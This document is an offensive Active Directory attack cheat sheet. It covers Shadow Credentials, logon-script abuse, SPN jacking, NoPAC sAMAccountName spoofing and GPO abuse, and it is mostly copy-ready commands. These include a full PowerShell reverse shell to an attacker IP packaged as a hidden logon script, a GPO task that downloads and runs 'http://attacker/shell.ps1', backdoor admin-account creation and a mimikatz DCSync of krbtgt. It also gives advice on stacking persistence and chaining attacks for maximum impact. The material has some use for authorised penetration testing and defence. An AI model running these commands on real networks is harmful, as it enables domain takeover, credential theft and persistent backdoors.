Rubeus - Extract TGT and NTLM Hash

# Use output from Whisker to get TGT and NTLM
.\Rubeus.exe asktgt /user:<victim> /certificate:<base64-cert> /password:"<cert-pass>" /domain:<domain> /dc:<dc-fqdn> /getcredentials /show /nowrap

# Pass the ticket
.\Rubeus.exe ptt /ticket:<base64-ticket>

Linux with pyWhisker

pyWhisker - Linux Shadow Credentials Tool

# Install pyWhisker
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker && pip3 install -r requirements.txt

# Add shadow credentials
python3 pywhisker.py -d <domain> -u <attacker> -p '<password>' --target <victim> --action add

# List shadow credentials
python3 pywhisker.py -d <domain> -u <attacker> -p '<password>' --target <victim> --action list

# Remove specific credential
python3 pywhisker.py -d <domain> -u <attacker> -p '<password>' --target <victim> --action remove --device-id <device-id>

PKINITtools - Get TGT and NTLM

# Get TGT using certificate from pyWhisker
python3 PKINITtools/gettgtpkinit.py -cert-pfx <pfx-file> -pfx-pass <password> <domain>/<victim> <victim>.ccache

# Extract NTLM hash from TGT
KRB5CCNAME=<victim>.ccache python3 PKINITtools/getnthash.py -key <as-rep-key> <domain>/<victim>

# Use TGT for authentication
KRB5CCNAME=<victim>.ccache impacket-smbclient -k -no-pass <dc-fqdn>

BloodyAD & Certipy-AD

BloodyAD Shadow Credentials Attack

# Add shadow credentials (automated)
bloodyAD --host <dc-ip> -d <domain> -u <attacker> -p '<password>' add shadowCredentials <victim>

# Get certificate details
bloodyAD --host <dc-ip> -d <domain> -u <attacker> -p '<password>' get shadowCredentials <victim>

Certipy-AD Automated Shadow Credentials

# Auto mode - finds and exploits shadow credential paths
certipy-ad shadow auto -u <attacker>@<domain> -p '<password>' -dc-ip <dc-ip> -target <victim>

# Manual add shadow credentials
certipy-ad shadow add -u <attacker>@<domain> -p '<password>' -dc-ip <dc-ip> -target <victim>

# Get NTLM hash using certificate
certipy-ad auth -pfx <victim>.pfx -domain <domain> -dc-ip <dc-ip> -get-tgt

Logon Script (ScriptPath) Abuse

Overview

Logon Scripts in Active Directory

Logon scripts execute automatically when users authenticate to the domain, providing opportunities for:

  • Code execution as target user: Scripts run in user context
  • Persistence mechanism: Executes on every logon
  • Two implementation methods:
    • Legacy: Via scriptPath attribute (stored in NETLOGON)
    • Modern: Via Group Policy (more flexible, supports PowerShell)
  • Supported formats: .bat, .cmd, .vbs, .exe, KiXtart

ScriptPath Enumeration

Windows Enumeration

PowerView ScriptPath Discovery

# Find users with scriptPath configured
Get-DomainUser -Properties scriptpath | Where-Object {$_.scriptpath -ne $null} | Select samaccountname,scriptpath

# Check who can modify scriptPath
$userSID = (Get-DomainUser -Identity <attacker>).objectsid
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID -and $_.ObjectAceType -match "Script-Path"}

ScriptSentry - Automated Script Misconfiguration Discovery

# Download and run ScriptSentry
IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')
Invoke-ScriptSentry

# Checks for:
# - Unsafe NETLOGON permissions
# - Writable logon scripts
# - Plaintext credentials in scripts
# - GPO script misconfigurations

Linux Enumeration

PywerView ScriptPath Enumeration

# Install PywerView
sudo apt install libkrb5-dev -y
git clone https://github.com/the-useless-one/pywerview.git
cd pywerview && pip3 install -r requirements.txt

# Get scriptPath ACEs with JSON filtering
python3 pywerview.py get-objectacl --name '<target>' -w <domain> -t <dc-ip> -u '<user>' -p '<password>' --resolve-sids --resolve-guids --json | jq '.results | map(select(.securityidentifier | contains("<attacker>")))'

BloodyAD ScriptPath Enumeration

# Get current scriptPath value
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object <target> --attr scriptPath

# Find users with scriptPath set
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get search --filter '(scriptPath=*)' --attr sAMAccountName,scriptPath

ScriptPath Exploitation

Step 1: Enumerate NETLOGON Permissions

Linux - NETLOGON Permission Check

# List NETLOGON contents
smbclient //<dc-ip>/NETLOGON -U <user>%'<password>' -c "ls"

# Check permissions on folders
smbcacls //<dc-ip>/NETLOGON /<folder> -U <user>%'<password>'
# Look for: RWX permissions

# Alternative with smbmap
smbmap -H <dc-ip> -u <user> -p '<password>' -r NETLOGON

Step 2: Create Payload Script

PowerShell Reverse Shell Payloads

# Generate base64 encoded PowerShell reverse shell
python3 -c 'import base64; print(base64.b64encode(r"""$client = New-Object System.Net.Sockets.TCPClient("<attacker-ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""".encode("utf-16-le")).decode())'

# Create .bat payload
echo 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <base64-payload>' > logonScript.bat

Step 3: Upload and Set ScriptPath

Linux - Upload and Modify ScriptPath

# Upload to writable folder in NETLOGON
smbclient //<dc-ip>/NETLOGON --directory <writable-folder> -U <user>%'<password>' -c "put logonScript.bat"

# Method 1: ldapmodify
cat > update_script.ldif << EOF
dn: CN=<target>,CN=Users,DC=<domain>,DC=<tld>
changetype: modify
replace: scriptPath
scriptPath: <writable-folder>\logonScript.bat
EOF

ldapmodify -H ldap://<dc-ip> -x -D '<user>@<domain>' -w '<password>' -f update_script.ldif

# Method 2: BloodyAD (recommended)
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set object <target> scriptPath -v '<writable-folder>\logonScript.bat'

# Verify modification
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object <target> --attr scriptPath

SPN Jacking Attack

Overview

SPN Jacking Fundamentals

SPN Jacking is an alternative method to abuse WriteSPN rights by manipulating Constrained Delegation. This technique:

  • Mixes DACL abuse with Constrained Delegation: Allows WriteSPN abuse without password cracking
  • Reassigns SPNs: Moves SPNs from legitimate servers to attacker-controlled targets
  • Two variants:
    • Ghost SPN-Jacking: Uses orphaned/deleted SPNs
    • Live SPN-Jacking: Temporarily hijacks active SPNs
  • Bypasses restrictions: Works around delegation limitations

SPN Jacking Enumeration

Windows Enumeration

PowerView SPN Enumeration

# Find WriteSPN permissions
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $(ConvertTo-SID <user>) -and $_.ObjectAceType -match "Validated-SPN"}

# Check constrained delegation
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

# Find orphaned SPNs (Ghost SPN-Jacking)
Import-Module .\Get-ConstrainedDelegation.ps1
Get-ConstrainedDelegation -CheckOrphaned

BloodHound Query for WriteSPN

MATCH p=(n:User)-[r1:WriteSPN*1..]->(c:Computer) RETURN p

Linux Enumeration

Impacket findDelegation

# Find delegation configuration
proxychains4 -q findDelegation.py -target-domain <domain> -dc-ip <dc-ip> <domain>/<user>:'<password>'

Ghost SPN-Jacking Exploitation

Windows - Ghost SPN-Jacking Attack

# Step 1: Find orphaned SPNs
Get-ConstrainedDelegation -CheckOrphaned

# Step 2: Note target's current SPNs
Get-DomainComputer <target> | Select-Object -ExpandProperty serviceprincipalname

# Step 3: Assign orphaned SPN to target
Set-DomainObject -Identity <target> -Set @{serviceprincipalname='<orphaned-spn>'} -Verbose

# Step 4: Request S4U ticket
.\Rubeus.exe s4u /domain:<domain> /user:<computer>$ /rc4:<hash> /impersonateuser:administrator /msdsspn:"<orphaned-spn>" /nowrap

# Step 5: Modify ticket service name
.\Rubeus.exe tgssub /ticket:<base64-ticket> /altservice:cifs/<target> /nowrap

# Step 6: Pass the ticket
.\Rubeus.exe ptt /ticket:<modified-ticket>

Linux - Ghost SPN-Jacking Attack

# Step 1: Clear target SPNs (if needed)
python3 addspn.py <dc-ip> -u '<domain>\<user>' -p <password> --clear -t '<target> -dc-ip <dc-ip>

# Step 2: Add orphaned SPN to target
python3 addspn.py <dc-ip> -u '<domain>\<user>' -p <password> --spn '<orphaned-spn>' -t '<target> -dc-ip <dc-ip>

# Step 3: Request S4U ticket
getST.py -spn '<orphaned-spn>' -impersonate Administrator '<domain>/<computer> -hashes :<hash> -dc-ip <dc-ip>

# Step 4: Modify ticket (with tgssub branch)
python3 tgssub.py -in <ticket>.ccache -altservice "cifs/<target>" -out newticket.ccache

# Step 5: Use ticket
KRB5CCNAME=newticket.ccache proxychains4 -q smbexec.py -k -no-pass <target>

Live SPN-Jacking Exploitation

Live SPN-Jacking Process

# Step 1: Save original SPNs
Get-DomainComputer <original-host> -Properties 'serviceprincipalname' | Select-Object -ExpandProperty serviceprincipalname > original_spns.txt

# Step 2: Clear SPNs from original host
Set-DomainObject -Identity <original-host> -Clear 'serviceprincipalname' -Verbose

# Step 3: Add SPN to target
Set-DomainObject -Identity <target> -Set @{serviceprincipalname='<spn>'} -Verbose

# Step 4: Perform S4U attack
.\Rubeus.exe s4u /domain:<domain> /user:<computer>$ /rc4:<hash> /impersonateuser:administrator /msdsspn:"<spn>" /nowrap

# Step 5: Restore original SPNs
Set-DomainObject -Identity <original-host> -Set @{serviceprincipalname=@('SPN1','SPN2','SPN3')} -Verbose

sAMAccountName Spoofing (NoPAC)

Overview

NoPAC Attack Fundamentals

The NoPAC attack exploits CVE-2021-42278 and CVE-2021-42287 to perform privilege escalation through sAMAccountName spoofing:

  • CVE-2021-42278: Allows changing sAMAccountName without validation
  • CVE-2021-42287: KDC appends $ when account not found
  • No PAC validation: Vulnerable DCs return TGT without PAC
  • Domain compromise: Can impersonate any account including DCs

NoPAC Enumeration

Windows Enumeration

Check NoPAC Vulnerability

# Check if vulnerable (ticket size < 1000 indicates vulnerability)
.\noPac.exe scan -domain <domain> -user <user> -pass <password>

# Check MachineAccountQuota
(Get-DomainObject -SearchScope Base)."ms-ds-machineaccountquota"

# Check how many machines user created
$computers = Get-DomainComputer -Filter '(ms-DS-CreatorSID=*)' -Properties name,ms-ds-creatorsid
$userComputers = $computers | where { (New-Object System.Security.Principal.SecurityIdentifier($_."ms-ds-creatorsid",0)).Value -eq (ConvertTo-SID <user>) }
$userComputers.Count

Linux Enumeration

NoPAC Scanner from Linux

# Clone and run NoPAC scanner
git clone https://github.com/Ridter/noPac
python3 noPac/scanner.py -dc-ip <dc-ip> <domain>/<user>:<password> -use-ldap

# Check with netexec
nxc ldap <dc-ip> -u <user> -p <password> -M nopac

NoPAC Exploitation

Windows Exploitation

NoPAC Attack from Windows

# Step 1: Create computer account
Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'Password123' -AsPlainText -Force
New-MachineAccount -MachineAccount "TEST01" -Password $password -Domain <domain> -DomainController <dc-ip> -Verbose

# Step 2: Clear SPNs
Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'TEST01 -Clear 'serviceprincipalname' -Verbose

# Step 3: Change sAMAccountName to DC name (without $)
Set-MachineAccountAttribute -MachineAccount "TEST01" -Value "dc01" -Attribute samaccountname -Verbose

# Step 4: Request TGT as DC
.\Rubeus.exe asktgt /user:dc01 /password:"Password123" /domain:<domain> /dc:<dc-ip> /nowrap

# Step 5: Revert sAMAccountName
Set-MachineAccountAttribute -MachineAccount "TEST01" -Value "TEST01" -Attribute samaccountname -Verbose

# Step 6: Request S4U ticket to impersonate Administrator
.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"ldap/dc01.domain.local" /dc:<dc-ip> /ptt /ticket:<base64-tgt>

# Step 7: DCSync attack
.\mimikatz.exe "lsadump::dcsync /domain:<domain> /kdc:dc01.domain.local /user:krbtgt" exit

Linux Exploitation

NoPAC Attack from Linux

# Using user account with GenericAll rights
# Step 1: Clear target SPNs
python3 bloodyAD.py -d <domain> -u <user> -p <password> --host <dc-ip> set object <target> servicePrincipalName

# Step 2: Change sAMAccountName to DC name
python3 bloodyAD.py -d <domain> -u <user> -p <password> --host <dc-ip> set object <target> sAMAccountName -v DC01

# Step 2.5: Update password if required
bloodyAD -d inlanefreight.local -u aneudy -p Ilovemusic01 --host 10.129.55.208 set password dc03 mypass123!

# Step 3: Request TGT
getTGT.py <domain>/dc01:<target-password> -dc-ip <dc-ip>

# Step 4: Revert sAMAccountName (use DN or new name)
python3 bloodyAD.py -d <domain> -u <user> -p <password> --host <dc-ip> set object "CN=<target>,CN=Users,DC=<domain>,DC=<tld>" sAMAccountName -v <original-name>

# Step 5: Request S4U2self ticket
KRB5CCNAME=dc01.ccache getST.py <domain>/dc01 -self -impersonate 'Administrator' -altservice 'cifs/dc01.domain.local' -k -no-pass -dc-ip <dc-ip>

# Step 6: Get shell
KRB5CCNAME=Administrator@cifs_dc01.domain.local@DOMAIN.LOCAL.ccache psexec.py dc01.domain.local -k -no-pass

# If psexec fails, revert to nxc:
nxc smb dc03.inlanefreight.local --use-kcache -x 'Remote Command to be launched'
Reference: https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command


GPO Attacks

Overview

Group Policy Object (GPO) Abuse

GPO attacks leverage misconfigured permissions to execute code or modify settings across multiple machines:

  • Modify existing GPOs: Change settings in deployed policies
  • Create new GPOs: Design malicious policies
  • Link GPOs: Apply policies to Sites, Domains, or OUs
  • Mass compromise: Affect all computers in GPO scope

GPO Enumeration

Windows Enumeration

PowerView GPO Enumeration

# List all GPOs
Get-DomainGPO | Select-Object displayname, name, gpcfilesyspath

# Find where GPOs are linked
# Domain level
Get-DomainObject -SearchScope Base -Properties gplink

# OU level
Get-DomainOU | select name, gplink

# Site level
Get-DomainSite -Properties gplink

# Find who can modify GPOs (non-admin users)
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { 
    $_.ActiveDirectoryRights -match "CreateChild|WriteProperty|WriteDacl|WriteOwner" -and 
    $_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}' 
} | select ObjectDN, @{Name='User';Expression={ConvertFrom-SID $_.SecurityIdentifier}}

# Find who can create GPOs
$identity = (Get-DomainGPO).distinguishedname -replace 'CN=\{[A-F0-9-]+\},',''
Get-DomainObjectACL -Identity $identity -ResolveGUIDs | where { 
    $_.ActiveDirectoryRights -contains "CreateChild" -and 
    $_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}' 
} | foreach { ConvertFrom-SID $_.SecurityIdentifier }

# Find who can link GPOs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { 
    $_.ObjectAceType -eq "GP-Link" -and 
    $_.ActiveDirectoryRights -match "WriteProperty" 
} | select ObjectDN, @{Name='User';Expression={ConvertFrom-SID $_.SecurityIdentifier}}

Automated GPO Enumeration

# Use Get-GPOEnumeration wrapper
Import-Module .\Get-GPOEnumeration.ps1

# Find all GPO misconfigurations
Get-GPOEnumeration

# Check specific permissions
Get-GPOEnumeration -ModifyGPOs  # Who can modify GPOs
Get-GPOEnumeration -LinkGPOs    # Who can link GPOs
Get-GPOEnumeration -CreateGPO   # Who can create GPOs

Linux Enumeration

GPOwned Enumeration

# List GPOs
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -listgpo

# List GPO links
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -listgplink

# Check modify rights with dacledit
# Get GPO GUIDs first
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -listgpo | grep "Name:"

# Check rights on each GPO
proxychains4 -q python3 dacledit.py <domain>/<user>:<password> -target-dn "CN={<GUID>},CN=Policies,CN=System,DC=<domain>,DC=<tld>" -dc-ip <dc-ip>

GPO Exploitation

Windows Exploitation

SharpGPOAbuse - Modify GPO from Windows

# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user> --GPOName "<GPO-Name>"

# Add user rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege,SeLoadDriverPrivilege" --UserAccount <user> --GPOName "<GPO-Name>"

# Add computer startup script
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net user backdoor Password123 /add" --GPOName "<GPO-Name>"

# Add immediate scheduled task
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net user backdoor Password123 /add" --GPOName "<GPO-Name>"

PowerView - Create and Link GPO

# Create new GPO
New-GPO -Name "Evil GPO" -Comment "Totally legitimate"

# Link GPO to OU
New-GPLink -Name "Evil GPO" -Target "OU=Workstations,DC=domain,DC=local"

# Modify GPO with PowerView3 (includes New-GPOImmediateTask)
New-GPOImmediateTask -GPOName "<GPO-Name>" -TaskName "Debug" -Command "powershell.exe" -CommandArguments "-enc <base64-payload>" -Force

Linux Exploitation

pyGPOAbuse - Modify GPO from Linux

# Install pyGPOAbuse
git clone https://github.com/Hackndo/pyGPOAbuse
cd pyGPOAbuse && pip3 install -r requirements.txt

# Backup GPO before modification
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -backup backupgpo -name "{<GUID>}"

# Add local admin
proxychains4 -q python3 pygpoabuse.py <domain>/<user>:<password> -gpo-id <GPO-ID> -command "net user hacker Password123 /add && net localgroup Administrators hacker /add" -taskname "Update" -description "System update" -dc-ip <dc-ip> -v

# Execute PowerShell
proxychains4 -q python3 pygpoabuse.py <domain>/<user>:<password> -gpo-id <GPO-ID> -powershell -command "IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')" -taskname "Telemetry" -dc-ip <dc-ip>

GPO Cleanup

# Restore GPO from backup
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -restore backupgpo -name "{<GUID>}"

Complete Attack Decision Matrix

Comprehensive ACL & Advanced Attack Reference

Attack Type Requirements Impact Detection Risk Tools
Shadow Credentials Write msDS-KeyCredentialLink, AD CS NTLM hash, persistence Medium Whisker, pyWhisker, Certipy
ScriptPath Abuse Write scriptPath, NETLOGON access Code execution on logon High BloodyAD, PowerView
SPN Jacking WriteSPN, Constrained Delegation Impersonate users Low-Medium Rubeus, getST.py
NoPAC Unpatched DC, MAQ > 0 Domain compromise High noPac, BloodyAD
GPO Abuse GPO modify/create/link Mass compromise High SharpGPOAbuse, pyGPOAbuse
WriteDACL WriteDACL on any object Grant any permission Medium dacledit, PowerView
WriteOwner WriteOwner on any object Full control Medium owneredit, PowerView
GenericAll GenericAll on object Complete control Low BloodyAD, PowerView
ForceChangePassword Extended right on user Account takeover High BloodyAD, rpcclient
ReadLAPSPassword Read ms-MCS-AdmPwd Local admin access Medium LAPSDumper, Get-ADComputer
ReadGMSAPassword Read msDS-ManagedPassword Service account control Low gMSADumper, BloodyAD

Attack Chain Decision Flow

graph TD
    A[Initial Access] --> B{What Rights?}

    B -->|Write Permissions| C[Advanced Attacks]
    C -->|msDS-KeyCredentialLink| D[Shadow Credentials]
    C -->|scriptPath| E[Logon Script]
    C -->|servicePrincipalName| F[SPN Jacking]
    C -->|GPO Rights| G[GPO Abuse]

    B -->|Generic Rights| H[Standard Attacks]
    H -->|GenericAll/Write| I[Multiple Options]
    H -->|WriteDACL| J[Grant Rights]
    H -->|WriteOwner| K[Take Ownership]

    B -->|Read Rights| L[Information Gathering]
    L -->|LAPS| M[Extract Password]
    L -->|gMSA| N[Dump Hash]

    D --> O[Get NTLM + Persistence]
    E --> P[Code Execution]
    F --> Q[Delegation Abuse]
    G --> R[Mass Compromise]

OPSEC Considerations

Detection & Prevention by Attack Type

Shadow Credentials:

  • Event 5136: msDS-KeyCredentialLink modified
  • Event 4768: PKINIT authentication
  • Monitor for new DeviceIDs

ScriptPath Abuse:

  • Event 5136: scriptPath attribute modified
  • Event 4688: Process creation from NETLOGON
  • Monitor SYSVOL/NETLOGON for new files

SPN Jacking:

  • Event 5136: servicePrincipalName changes
  • Event 4769: Kerberos service ticket requests
  • Monitor for SPN modifications on high-value accounts

NoPAC:

  • Event 4741: Computer account created
  • Event 4742: Computer account changed (sAMAccountName)
  • Monitor for DC name spoofing

GPO Attacks:

  • Event 5136: GPO modification
  • Event 5137: GPO creation
  • Event 5141: GPO deletion
  • Monitor SYSVOL for changes

Cleanup Commands

# Shadow Credentials cleanup
python3 pywhisker.py -d <domain> -u <user> -p '<password>' --target <victim> --action remove --device-id <device-id>

# ScriptPath cleanup
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set object <target> scriptPath -v ''

# SPN restoration
for spn in $(cat original_spns.txt); do 
    python3 addspn.py <dc-ip> -u '<domain>\<user>' -p <password> -t '<target>' --spn $spn
done

# GPO restoration
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -restore backupgpo -name "{<GUID>}"

Complete Tool Setup

Core Tools Installation

Essential Base Tools

# Impacket suite (with special branches)
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

# ShutdownRepo's dacledit branch
git clone https://github.com/ShutdownRepo/impacket -b dacledit dacledit-impacket
cd dacledit-impacket && python3 -m venv .venv && source .venv/bin/activate && pip3 install .

# BloodyAD
pip3 install bloodyAD

# Certipy-AD
pip3 install certipy-ad

# NetExec
pip3 install netexec

Advanced Attack Tools

Specialized Attack Tools

# Shadow Credentials
git clone https://github.com/ShutdownRepo/pywhisker
git clone https://github.com/dirkjanm/PKINITtools

# SPN Jacking
git clone https://github.com/ShutdownRepo/targetedKerberoast
git clone https://github.com/dirkjanm/krbrelayx  # For addspn.py

# NoPAC
git clone https://github.com/Ridter/noPac

# GPO Abuse
git clone https://github.com/Hackndo/pyGPOAbuse
git clone https://github.com/Hackndo/GPOwned

# ScriptPath
git clone https://github.com/the-useless-one/pywerview

# Windows tools
# Whisker: https://github.com/eladshamir/Whisker
# SharpGPOAbuse: https://github.com/FSecureLABS/SharpGPOAbuse
# Rubeus: https://github.com/GhostPack/Rubeus
# PowerView: https://github.com/PowerShellMafia/PowerSploit
# Mimikatz: https://github.com/gentilkiwi/mimikatz

Best Practices & Methodology

Complete Attack Methodology

  1. Initial Enumeration

    # Run comprehensive BloodHound collection
    bloodhound-python -c All -d <domain> -u <user> -p <password> -dc <dc-ip>
    
    # Check all ACL relationships
    Get-DomainObjectAcl -ResolveGUIDs | Export-Csv acls.csv
    
    # Enumerate special attributes
    Get-DomainUser -Filter * -Properties msDS-KeyCredentialLink,scriptPath,servicePrincipalName
    

  2. Identify Attack Paths

  3. Check for write permissions on key attributes
  4. Look for delegation configurations
  5. Identify GPO permissions
  6. Find orphaned SPNs
  7. Check for unpatched vulnerabilities

  8. Execute Attacks

  9. Start with least detectable methods
  10. Document all changes for rollback
  11. Use multiple persistence mechanisms
  12. Chain attacks for maximum impact

  13. Maintain Access

  14. Shadow Credentials for persistence
  15. GPO backdoors for mass access
  16. ScriptPath for recurring execution
  17. Multiple account compromises

  18. Clean Up

  19. Restore all modified attributes
  20. Remove added credentials
  21. Delete created accounts
  22. Restore GPO backups

Pro Tips - Advanced Techniques

  • Combine attacks: Shadow Creds + GPO = Persistent mass compromise
  • Check computer accounts: Often have more rights than users
  • Look for service accounts: High privileges, rarely monitored
  • Abuse trust relationships: Foreign principals can have ACLs
  • Target certificate templates: Often misconfigured with dangerous ACLs
  • Use proxychains: Route attacks through compromised hosts
  • Automate enumeration: Script repetitive checks across all objects
  • Monitor for changes: Set up persistence before making noise
  • Document everything: Keep detailed logs for reporting
  • Test in lab first: Validate attacks before production use

Quick Command Reference

Most Common Attack Commands

# Shadow Credentials - Linux
certipy-ad shadow auto -u <user>@<domain> -p '<pass>' -target <victim>

# Shadow Credentials - Windows
.\Whisker.exe add /target:<victim>
.\Rubeus.exe asktgt /user:<victim> /certificate:<cert> /password:"<pass>" /getcredentials /nowrap

# ScriptPath
bloodyAD --host <dc> -d <domain> -u <user> -p '<pass>' set object <target> scriptPath -v 'evil.bat'

# SPN Jacking
python3 addspn.py <dc> -u '<domain>\<user>' -p <pass> --spn '<spn>' -t '<target>'
getST.py -spn '<spn>' -impersonate Administrator '<domain>/<computer>' -hashes :<hash>

# NoPAC
python3 noPac/scanner.py -dc-ip <dc> <domain>/<user>:<pass> -use-ldap

# GPO Abuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user> --GPOName "<GPO>"

# WriteDACL
impacket-dacledit <domain>/<user>:'<pass>' -principal <user> -target <target> -action write -rights DCSync

# Password Reset
bloodyAD --host <dc> -d <domain> -u <user> -p '<pass>' set password <target> <newpass>

Additional Resources

References & Further Reading

Core Techniques: - ACL Abuse Primer - BloodHound Documentation

Advanced Attacks: - Shadow Credentials - SPN Jacking - NoPAC Exploit - GPO Abuse Guide

Tools Documentation: - Impacket - BloodyAD - Certipy - PowerView

Defensive Resources: - Microsoft Security Best Practices - MITRE ATT&CK - Active Directory